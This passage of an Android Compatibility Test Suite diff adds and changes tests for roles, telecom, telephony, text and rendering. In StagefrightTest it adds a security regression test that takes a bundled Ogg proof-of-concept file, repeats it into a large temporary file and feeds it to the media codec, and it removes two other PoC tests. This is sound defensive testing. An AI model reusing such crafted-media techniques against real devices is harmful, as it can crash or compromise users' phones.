+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app;
+
+import android.app.Activity;
+import android.app.role.RoleManager;
+import android.content.Intent;
+import android.os.Bundle;
+import android.text.TextUtils;
+
+/**
+ * An activity that requests a role.
+ */
+public class RequestRoleActivity extends Activity {
+
+ private static final String EXTRA_ROLE_NAME = "android.app.role.cts.app.extra.ROLE_NAME";
+
+ private static final int REQUEST_CODE_REQUEST_ROLE = 1;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ String roleName = getIntent().getStringExtra(EXTRA_ROLE_NAME);
+ if (TextUtils.isEmpty(roleName)) {
+ throw new IllegalArgumentException("Role name in extras cannot be null or empty");
+ }
+
+ RoleManager roleManager = getSystemService(RoleManager.class);
+ Intent intent = roleManager.createRequestRoleIntent(roleName);
+ startActivityForResult(intent, REQUEST_CODE_REQUEST_ROLE);
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (requestCode == REQUEST_CODE_REQUEST_ROLE) {
+ setResult(resultCode, data);
+ finish();
+ } else {
+ super.onActivityResult(requestCode, resultCode, data);
+ }
+ }
+}
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
new file mode 100644
index 0000000..73f2009
--- /dev/null
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.role.RoleManager;
+import android.app.role.RoleManagerCallback;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Process;
+import android.os.UserHandle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link RoleManager}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class RoleManagerTest {
+
+ private static final long TIMEOUT_MILLIS = 15 * 1000;
+
+ private static final String ROLE_NAME = RoleManager.ROLE_DIALER;
+
+ private static final String APP_PACKAGE_NAME = "android.app.role.cts.app";
+ private static final String APP_REQUEST_ROLE_ACTIVITY_NAME = APP_PACKAGE_NAME
+ + ".RequestRoleActivity";
+ private static final String APP_REQUEST_ROLE_EXTRA_ROLE_NAME = APP_PACKAGE_NAME
+ + ".extra.ROLE_NAME";
+
+ private static final Instrumentation sInstrumentation =
+ InstrumentationRegistry.getInstrumentation();
+ private static final Context sContext = InstrumentationRegistry.getTargetContext();
+ private static final RoleManager sRoleManager = sContext.getSystemService(RoleManager.class);
+ private static final UiDevice sUiDevice = UiDevice.getInstance(sInstrumentation);
+
+ @Rule
+ public ActivityTestRule<WaitForResultActivity> mActivityRule =
+ new ActivityTestRule<>(WaitForResultActivity.class);
+
+ // TODO: STOPSHIP: Remove once we automatically revoke role upon uninstallation.
+ @Before
+ @After
+ public void removeRoleHolder() throws Exception {
+ removeRoleHolder(ROLE_NAME, APP_PACKAGE_NAME);
+ assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, false);
+ }
+
+ @Test
+ public void roleIsAvailable() {
+ assertThat(sRoleManager.isRoleAvailable(ROLE_NAME)).isTrue();
+ }
+
+ @Test
+ public void addRoleHolderThenIsRoleHolder() throws Exception {
+ addRoleHolder(ROLE_NAME, APP_PACKAGE_NAME);
+ assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, true);
+ }
+
+ @Test
+ public void addAndRemoveRoleHolderThenIsNotRoleHolder() throws Exception {
+ addRoleHolder(ROLE_NAME, APP_PACKAGE_NAME);
+ removeRoleHolder(ROLE_NAME, APP_PACKAGE_NAME);
+ assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, false);
+ }
+
+ @Test
+ public void requestRoleAndRejectThenIsNotRoleHolder() throws Exception {
+ requestRole(ROLE_NAME);
+ respondToRoleRequest(false);
+ assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, false);
+ }
+
+ @Test
+ public void requestRoleAndApproveThenIsRoleHolder() throws Exception {
+ requestRole(ROLE_NAME);
+ respondToRoleRequest(true);
+ assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, true);
+ }
+
+ private void requestRole(@NonNull String roleName) {
+ Intent intent = new Intent()
+ .setComponent(new ComponentName(APP_PACKAGE_NAME, APP_REQUEST_ROLE_ACTIVITY_NAME))
+ .putExtra(APP_REQUEST_ROLE_EXTRA_ROLE_NAME, roleName);
+ mActivityRule.getActivity().startActivityToWaitForResult(intent);
+ }
+
+ private void respondToRoleRequest(boolean ok, boolean expectResultOk)
+ throws InterruptedException, IOException {
+ wakeUpScreen();
+ String buttonId = ok ? "android:id/button1" : "android:id/button2";
+ sUiDevice.wait(Until.findObject(By.res(buttonId)), TIMEOUT_MILLIS).click();
+ Pair<Integer, Intent> result = mActivityRule.getActivity().waitForActivityResult(
+ TIMEOUT_MILLIS);
+ int expectedResult = expectResultOk ? Activity.RESULT_OK : Activity.RESULT_CANCELED;
+ assertThat(result.first).isEqualTo(expectedResult);
+ }
+
+ private void respondToRoleRequest(boolean ok) throws InterruptedException, IOException {
+ respondToRoleRequest(ok, ok);
+ }
+
+ private void wakeUpScreen() throws IOException {
+ runShellCommand(sInstrumentation, "input keyevent KEYCODE_WAKEUP");
+ }
+
+ private void assertIsRoleHolder(@NonNull String roleName, @NonNull String packageName,
+ boolean shouldBeRoleHolder) throws Exception {
+ List<String> packageNames = getRoleHolders(roleName);
+ if (shouldBeRoleHolder) {
+ assertThat(packageNames).contains(packageName);
+ } else {
+ assertThat(packageNames).doesNotContain(packageName);
+ }
+ }
+
+ private List<String> getRoleHolders(@NonNull String roleName) throws Exception {
+ return callWithShellPermissionIdentity(() -> sRoleManager.getRoleHolders(roleName));
+ }
+
+ private void addRoleHolder(@NonNull String roleName, @NonNull String packageName)
+ throws Exception {
+ UserHandle user = Process.myUserHandle();
+ Executor executor = sContext.getMainExecutor();
+ boolean[] successful = new boolean[1];
+ CountDownLatch latch = new CountDownLatch(1);
+ runWithShellPermissionIdentity(() -> sRoleManager.addRoleHolderAsUser(roleName,
+ packageName, user, executor, new RoleManagerCallback() {
+ @Override
+ public void onSuccess() {
+ successful[0] = true;
+ latch.countDown();
+ }
+ @Override
+ public void onFailure() {
+ successful[0] = false;
+ latch.countDown();
+ }
+ }));
+ latch.await(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ assertThat(successful[0]).isTrue();
+ }
+
+ private void removeRoleHolder(@NonNull String roleName, @NonNull String packageName)
+ throws Exception {
+ UserHandle user = Process.myUserHandle();
+ Executor executor = sContext.getMainExecutor();
+ boolean[] successful = new boolean[1];
+ CountDownLatch latch = new CountDownLatch(1);
+ runWithShellPermissionIdentity(() -> sRoleManager.removeRoleHolderAsUser(roleName,
+ packageName, user, executor, new RoleManagerCallback() {
+ @Override
+ public void onSuccess() {
+ successful[0] = true;
+ latch.countDown();
+ }
+ @Override
+ public void onFailure() {
+ successful[0] = false;
+ latch.countDown();
+ }
+ }));
+ latch.await(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ assertThat(successful[0]).isTrue();
+ }
+}
diff --git a/tests/tests/role/src/android/app/role/cts/WaitForResultActivity.java b/tests/tests/role/src/android/app/role/cts/WaitForResultActivity.java
new file mode 100644
index 0000000..8f889bf
--- /dev/null
+++ b/tests/tests/role/src/android/app/role/cts/WaitForResultActivity.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.util.Pair;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * An Activity that can start another Activity and wait for its result.
+ */
+public class WaitForResultActivity extends Activity {
+
+ private static final int REQUEST_CODE_WAIT_FOR_RESULT = 1;
+
+ private CountDownLatch mLatch;
+ private int mResultCode;
+ private Intent mData;
+
+ public void startActivityToWaitForResult(Intent intent) {
+ mLatch = new CountDownLatch(1);
+ startActivityForResult(intent, REQUEST_CODE_WAIT_FOR_RESULT);
+ }
+
+ public Pair<Integer, Intent> waitForActivityResult(long timeoutMillis)
+ throws InterruptedException {
+ mLatch.await(timeoutMillis, TimeUnit.MILLISECONDS);
+ return new Pair<>(mResultCode, mData);
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (requestCode == REQUEST_CODE_WAIT_FOR_RESULT) {
+ mResultCode = resultCode;
+ mData = data;
+ mLatch.countDown();
+ } else {
+ super.onActivityResult(requestCode, resultCode, data);
+ }
+ }
+}
diff --git a/tests/tests/rscpp/librscpptest/rs_jni_script.cpp b/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
index 1888341..5cbd324 100644
--- a/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
+++ b/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
@@ -65,12 +65,12 @@
script->set_charTest(-16); // charTest
script->set_shortTest(-32); // shortTest
script->set_intTest(-64); // intTest
- script->set_longTest(17179869185l); // longTest
+ script->set_longTest(17179869185L); // longTest
script->set_longlongTest(68719476735L); //longlongTest
script->set_ulongTest(4611686018427387903L); // boolTest
- script->set_uint64_tTest(117179869185l); //uint64_tTest
+ script->set_uint64_tTest(117179869185L); //uint64_tTest
script->set_allocationTest(alloc); // allocationTest
-
+
script->invoke_test_primitive_types();
mRS->finish();
if (result == RS_MSG_TEST_FAILED) {
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
new file mode 100644
index 0000000..868e630
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36592202.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
deleted file mode 100644
index 5544ffe..0000000
--- a/tests/tests/security/res/raw/bug_64710074.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_65484460.mp4 b/tests/tests/security/res/raw/bug_65484460.mp4
deleted file mode 100644
index 13b37e9..0000000
--- a/tests/tests/security/res/raw/bug_65484460.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 895bb98..fb3d13b 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -53,10 +53,12 @@
import java.io.InputStream;
import java.net.URL;
import java.nio.ByteBuffer;
+import java.io.FileOutputStream;
import java.io.OutputStream;
import java.io.InputStream;
import java.net.Socket;
import java.net.ServerSocket;
+import java.io.File;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.concurrent.locks.Condition;
@@ -93,11 +95,6 @@
doStagefrightTest(R.raw.cve_2016_3829);
}
- @SecurityTest
- public void testStagefright_bug_64710074() throws Exception {
- doStagefrightTest(R.raw.bug_64710074);
- }
-
@SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_cve_2017_0643() throws Exception {
doStagefrightTest(R.raw.cve_2017_0643);
@@ -603,6 +600,54 @@
doStagefrightTest(R.raw.cve_2016_3756);
}
+ @SecurityTest(minPatchLevel = "2017-07")
+ public void testStagefright_bug_36592202() throws Exception {
+ Resources resources = getInstrumentation().getContext().getResources();
+ AssetFileDescriptor fd = resources.openRawResourceFd(R.raw.bug_36592202);
+ final int oggPageSize = 25627;
+ byte [] blob = new byte[oggPageSize];
+ // 127 bytes read and 25500 zeros constitute one Ogg page
+ FileInputStream fis = fd.createInputStream();
+ int numRead = fis.read(blob);
+ fis.close();
+ // Creating temp file
+ final File tempFile = File.createTempFile("poc_tmp", ".ogg", null);
+ try {
+ final FileOutputStream tempFos = new FileOutputStream(tempFile.getAbsolutePath());
+ int bytesWritten = 0;
+ final long oggPagesRequired = 50000;
+ long oggPagesAvailable = tempFile.getUsableSpace() / oggPageSize;
+ long numOggPages = Math.min(oggPagesRequired, oggPagesAvailable);
+ // Repeat data for specified number of pages
+ for (int i = 0; i < numOggPages; i++) {
+ tempFos.write(blob);
+ bytesWritten += oggPageSize;
+ }
+ tempFos.close();
+ final int fileSize = bytesWritten;
+ final int timeout = (10 * 60 * 1000);
+ runWithTimeout(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
+ } catch (Exception | AssertionError e) {
+ if (!tempFile.delete()) {
+ Log.e(TAG, "Failed to delete temporary PoC file");
+ }
+ fail("Operation was not successful");
+ }
+ }
+ }, timeout);
+ } catch (Exception e) {
+ fail("Failed to test b/36592202");
+ } finally {
+ if (!tempFile.delete()) {
+ Log.e(TAG, "Failed to delete temporary PoC file");
+ }
+ }
+ }
+
@SecurityTest(minPatchLevel = "2016-11")
public void testStagefright_bug_30822755() throws Exception {
doStagefrightTest(R.raw.bug_30822755);
@@ -675,7 +720,7 @@
@SecurityTest(minPatchLevel = "2015-12")
public void testStagefright_bug_24157524() throws Exception {
- doStagefrightTest(R.raw.bug_24157524);
+ doStagefrightTestMediaCodec(R.raw.bug_24157524);
}
@SecurityTest(minPatchLevel = "2015-10")
@@ -931,11 +976,6 @@
doStagefrightTest(R.raw.cve_2016_6699);
}
- @SecurityTest(minPatchLevel = "2018-10")
- public void testStagefright_bug_65484460() throws Exception {
- doStagefrightTest(R.raw.bug_65484460);
- }
-
@SecurityTest(minPatchLevel = "2018-06")
public void testStagefright_cve_2017_18155() throws Exception {
doStagefrightTest(R.raw.cve_2017_18155);
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index a78ef29..71bfa2f 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -281,6 +281,8 @@
CtsSelfManagedConnectionService.waitForBinding();
assertTrue(CtsSelfManagedConnectionService.getConnectionService().waitForUpdate(
CtsSelfManagedConnectionService.CREATE_OUTGOING_CONNECTION_FAILED_LOCK));
+
+ assertFalse(mTelecomManager.isOutgoingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
}
/**
@@ -293,8 +295,13 @@
if (!mShouldTestTelecom) {
return;
}
+ assertTrue(mTelecomManager.isOutgoingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
placeAndVerifyOutgoingCall(TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
+
+ assertTrue(mTelecomManager.isOutgoingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_2));
placeAndVerifyOutgoingCall(TestUtils.TEST_SELF_MANAGED_HANDLE_2, TEST_ADDRESS_3);
+
+ assertTrue(mTelecomManager.isOutgoingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_3));
placeAndVerifyOutgoingCall(TestUtils.TEST_SELF_MANAGED_HANDLE_3, TEST_ADDRESS_4);
}
@@ -398,6 +405,7 @@
SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
setActiveAndVerify(connection);
+ assertTrue(mTelecomManager.isIncomingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_2));
// Attempt to create a new incoming call for the other PhoneAccount; it should succeed.
TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
TestUtils.TEST_SELF_MANAGED_HANDLE_2, TEST_ADDRESS_2);
@@ -415,6 +423,7 @@
return;
}
+ assertTrue(mTelecomManager.isIncomingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
// Attempt to create a new Incoming self-managed call
TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
@@ -468,6 +477,7 @@
SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
connection.setRinging();
+ assertFalse(mTelecomManager.isIncomingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
// WHEN create a new incoming call for the the same PhoneAccount
TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
@@ -492,6 +502,8 @@
for (int ix = 0; ix < 10; ix++) {
Uri address = Uri.fromParts("sip", "test" + ix + "@test.com", null);
// Create an ongoing call in the first self-managed PhoneAccount.
+ assertTrue(mTelecomManager.isOutgoingCallPermitted(
+ TestUtils.TEST_SELF_MANAGED_HANDLE_1));
TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
TestUtils.TEST_SELF_MANAGED_HANDLE_1, address);
SelfManagedConnection connection = TestUtils.waitForAndGetConnection(address);
@@ -500,6 +512,7 @@
}
// Try adding an 11th. It should fail to be created.
+ assertFalse(mTelecomManager.isIncomingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_2);
assertTrue("Expected onCreateIncomingConnectionFailed callback",
diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
index f544694..7b0018a 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -25,6 +25,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -287,6 +288,32 @@
assertOverrideSuccess(older, newer);
}
+ @Test
+ public void testSubscriptionGrouping() throws Exception {
+ if (!isSupported()) return;
+
+ // Set subscription group with current sub Id. This should fail
+ // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
+ int[] subGroup = new int[] {mSubId};
+ try {
+ mSm.setSubscriptionGroup(subGroup);
+ fail();
+ } catch (SecurityException expected) {
+ }
+
+ // Getting subscriptions in group should return null as setSubscriptionGroup
+ // should fail.
+ assertNull(mSm.getSubscriptionsInGroup(mSubId));
+
+ // Remove from subscription group with current sub Id. This should fail
+ // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
+ try {
+ mSm.removeSubscriptionsFromGroup(subGroup);
+ fail();
+ } catch (SecurityException expected) {
+ }
+ }
+
private void assertOverrideSuccess(SubscriptionPlan... plans) {
mSm.setSubscriptionPlans(mSubId, Arrays.asList(plans));
mSm.setSubscriptionOverrideCongested(mSubId, false, 0);
diff --git a/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java b/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
index 7b42687..1b471d3 100644
--- a/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
+++ b/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
@@ -22,6 +22,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -181,6 +182,17 @@
}
@Test
+ public void testCreateForDifferentDirection() {
+ final Params param = new Params.Builder(PAINT).setTextDirection(LTR).build();
+ final PrecomputedText textWithLTR = PrecomputedText.create(STRING, param);
+ final Params newParam = new Params.Builder(PAINT).setTextDirection(RTL).build();
+ final PrecomputedText textWithRTL = PrecomputedText.create(textWithLTR, newParam);
+ assertNotNull(textWithRTL);
+ assertNotSame(textWithLTR, textWithRTL);
+ assertEquals(textWithLTR.toString(), textWithRTL.toString());
+ }
+
+ @Test
public void testCharSequenceInteface() {
final Params param = new Params.Builder(PAINT).build();
final CharSequence s = PrecomputedText.create(STRING, param);
@@ -650,9 +662,20 @@
final Params params = new Params.Builder(paint).build();
final PrecomputedText pt = PrecomputedText.create(cs, params);
+ final Params rtlParams = new Params.Builder(paint)
+ .setTextDirection(TextDirectionHeuristics.RTL).build();
+ final PrecomputedText rtlPt = PrecomputedText.create(cs, rtlParams);
+ // FIRSTSTRONG_LTR is the default direction.
+ final PrecomputedText ptFromRtl = PrecomputedText.create(rtlPt,
+ new Params.Builder(params).setTextDirection(
+ TextDirectionHeuristics.FIRSTSTRONG_LTR).build());
+
final Bitmap originalDrawOutput = drawToBitmap(cs, start, end, ctxStart, ctxEnd, paint);
final Bitmap precomputedDrawOutput = drawToBitmap(pt, start, end, ctxStart, ctxEnd, paint);
+ final Bitmap precomputedFromDifferentDirectionDrawOutput =
+ drawToBitmap(pt, start, end, ctxStart, ctxEnd, paint);
assertTrue(originalDrawOutput.sameAs(precomputedDrawOutput));
+ assertTrue(originalDrawOutput.sameAs(precomputedFromDifferentDirectionDrawOutput));
}
@Test
diff --git a/tests/tests/text/src/android/text/style/cts/LineHeightSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/LineHeightSpan_StandardTest.java
index 1b0bac1..aa72476 100644
--- a/tests/tests/text/src/android/text/style/cts/LineHeightSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LineHeightSpan_StandardTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertEquals;
import android.graphics.Paint.FontMetricsInt;
+import android.os.Parcel;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.text.style.LineHeightSpan;
@@ -76,4 +77,23 @@
assertEquals(ascent, fm.ascent);
assertEquals(descent, fm.descent);
}
+
+ @Test
+ public void testGetHeight() {
+ final int height = 23;
+ LineHeightSpan.Standard span = new LineHeightSpan.Standard(height);
+
+ assertEquals(height, span.getHeight());
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ final LineHeightSpan.Standard span = new LineHeightSpan.Standard(20);
+ final Parcel parcel = Parcel.obtain();
+ span.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+
+ final LineHeightSpan.Standard parcelSpan = new LineHeightSpan.Standard(parcel);
+ assertEquals(span.getHeight(), parcelSpan.getHeight());
+ }
}
diff --git a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
index 4e20ca6..f6b202b 100644
--- a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
@@ -23,10 +23,9 @@
import android.content.Context;
import android.content.res.Configuration;
+import android.graphics.Color;
import android.os.LocaleList;
import android.os.Parcel;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
@@ -36,6 +35,9 @@
import android.text.TextPaint;
import android.text.style.SuggestionSpan;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -248,4 +250,35 @@
}
}
}
+
+ @Test
+ public void testGetUnderlineColor_NoUnderline() {
+ final String[] suggestions = new String[0];
+ final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions, 0);
+ assertEquals(span.getUnderlineColor(), 0);
+ }
+
+ @Test
+ public void testGetUnderlineColor_EasyCorrectUnderline() {
+ final String[] suggestions = new String[0];
+ final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions,
+ SuggestionSpan.FLAG_EASY_CORRECT);
+ assertEquals(span.getUnderlineColor(), Color.BLACK);
+ }
+
+ @Test
+ public void testGetUnderlineColor_MisspelledUnderline() {
+ final String[] suggestions = new String[0];
+ final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions,
+ SuggestionSpan.FLAG_EASY_CORRECT | SuggestionSpan.FLAG_MISSPELLED);
+ assertEquals(span.getUnderlineColor(), Color.BLACK);
+ }
+
+ @Test
+ public void testGetUnderlineColor_AutoCorrectionUnderline() {
+ final String[] suggestions = new String[0];
+ final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions,
+ SuggestionSpan.FLAG_AUTO_CORRECTION);
+ assertEquals(span.getUnderlineColor(), Color.BLACK);
+ }
}
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index f9c2536..9a7e39a 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -1003,6 +1003,17 @@
domain.length(), email);
}
+ @Test
+ public void testAddLinks_unsupportedCharacters() {
+ String url = "moc.diordna.com";
+ verifyAddLinksWithWebUrlSucceeds(url + " should be linkified", url);
+
+ verifyAddLinksWithWebUrlFails("u202C character should not be linkified", "\u202C" + url);
+ verifyAddLinksWithWebUrlFails("u202D character should not be linkified", url + "\u202D");
+ verifyAddLinksWithWebUrlFails(
+ "u202E character should not be linkified", url + "moc\u202E.diordna.com");
+ }
+
// Utility functions
private static void verifyAddLinksWithWebUrlSucceeds(String msg, String url) {
verifyAddLinksSucceeds(msg, url, Linkify.WEB_URLS);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
index 3391bb9..fb07aa6 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -242,7 +242,7 @@
createTest().addCanvasClient((canvas, width, height) -> {
Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
HARDWARE_OPTIONS);
- Bitmap scaled = Bitmap.createScaledBitmap(hardwareBitmap, 24, 24, false);
+ Bitmap scaled = Bitmap.createScaledBitmap(hardwareBitmap, 24, 24, true);
assertEquals(Bitmap.Config.HARDWARE, scaled.getConfig());
canvas.drawBitmap(scaled, 0, 0, null);
}, true).runWithVerifier(new GoldenImageVerifier(getActivity(),
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
index bfef8cb..1900919 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertTrue;
import android.graphics.Canvas;
@@ -33,6 +34,9 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.HashSet;
+import java.util.Set;
+
@MediumTest
@RunWith(AndroidJUnit4.class)
public class RenderNodeTests extends ActivityTestBase {
@@ -190,4 +194,17 @@
assertEquals(10, canvas.getHeight());
renderNode.endRecording();
}
+
+ @Test
+ public void testGetUniqueId() {
+ final RenderNode r1 = new RenderNode(null);
+ final RenderNode r2 = new RenderNode(null);
+ assertNotEquals(r1.getUniqueId(), r2.getUniqueId());
+ final Set<Long> usedIds = new HashSet<>();
+ assertTrue(usedIds.add(r1.getUniqueId()));
+ assertTrue(usedIds.add(r2.getUniqueId()));
+ for (int i = 0; i < 100; i++) {
+ assertTrue(usedIds.add(new RenderNode(null).getUniqueId()));
+ }
+ }
}
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index 8b0d4c7..a67c178 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
